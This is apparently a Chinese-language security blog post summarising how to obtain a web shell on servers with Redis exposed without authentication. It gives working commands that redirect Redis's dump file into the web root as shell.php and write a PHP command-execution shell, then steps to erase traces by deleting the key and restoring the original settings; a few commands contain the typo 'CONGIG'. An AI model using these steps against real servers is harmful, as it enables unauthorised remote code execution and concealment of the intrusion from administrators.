標籤:
0x00 前言redis現在很多都是直接對外開放連接埠,從外網無需任何驗證即可直接存取到。相關的例子可以從shodan或者zoomeye上找到。那麼問題來了,作為一個記憶體資料庫,redis上肯定也有很多敏感資訊,比如redis用於做session的儲存,可能導致敏感資訊泄露。不過最近研究redis從烏雲社區和drops上看到有人getshell,思路比較有趣,特地寫一下總結。
0x01 redis連接埠探測6379判斷時,使用python用戶端進行掃描,或者直接在瀏覽器上訪問6379查看banner資訊:
0x02 本地裝一個cli運行redis-cli -h [hostname] -p [port]比如10.10.10.1的6379是開放的,那麼串連:redis-cli -h 10.10.10.1進入redis的互動shell。
0x03 利用redis寫入shell條件:(1)redis伺服器上有web伺服器(2)web根目錄已知原理:redis中有一種資料備份的方式是備份至.rdb檔案,在設定檔中的dbfilename中這種備份方式是根據時間的頻率來進行儲存的。但是redis中有個config set命令可以修改redis運行時的配置選項。其中redis.conf中有個dir選項可以選擇儲存dump.rdb的目錄,預設是目前的目錄:我們可以控制dir和dbfilename選項,將shell寫入到網站的根目錄(假設為/var/www/html)下:
CONFIG SET dir /var/www/html # 修改備份目錄CONGIG SET dbfilename shell.php # 修改備份檔案名為我們的shell名
建立一個字串,這樣在備份時可以寫入備份檔案中。
SET shell "<?php system($_GET['cmd']);?>"
將資料備份到磁碟中:
BGSAVE
0x04 清除痕迹(1)刪除key(2)將dir和dbfilename更為原樣最好使用config get事先看看原來的值是啥。
DEL payloadCONFIG SET dir /usr/local/redisCONGIG SET dbfilename dump.rdb
0x05 測試訪問shell:
0x06 問題(1)一個是有人在drops上說備份的資料檔案預設許可權是0600,但是本地使用root運行redis沒有這個許可權問題,可以成功寫入。(2)一般來說,redis中使用備份資料的時候,會把以前的資料完整備份一遍,也就是說這個資料庫持久化檔案很可能會非常大,apache讀不讀的出來還是一回事兒,太大說不定直接阻塞down掉。一種方法是將全部的資料備份,再flushall,再備份匯出shell,然後利用第一步的持久化檔案進行恢複,這樣做可能會造成一定的資料丟失,對網站造成損害,還是不推薦使用。
redis滲透中的getshell問題總結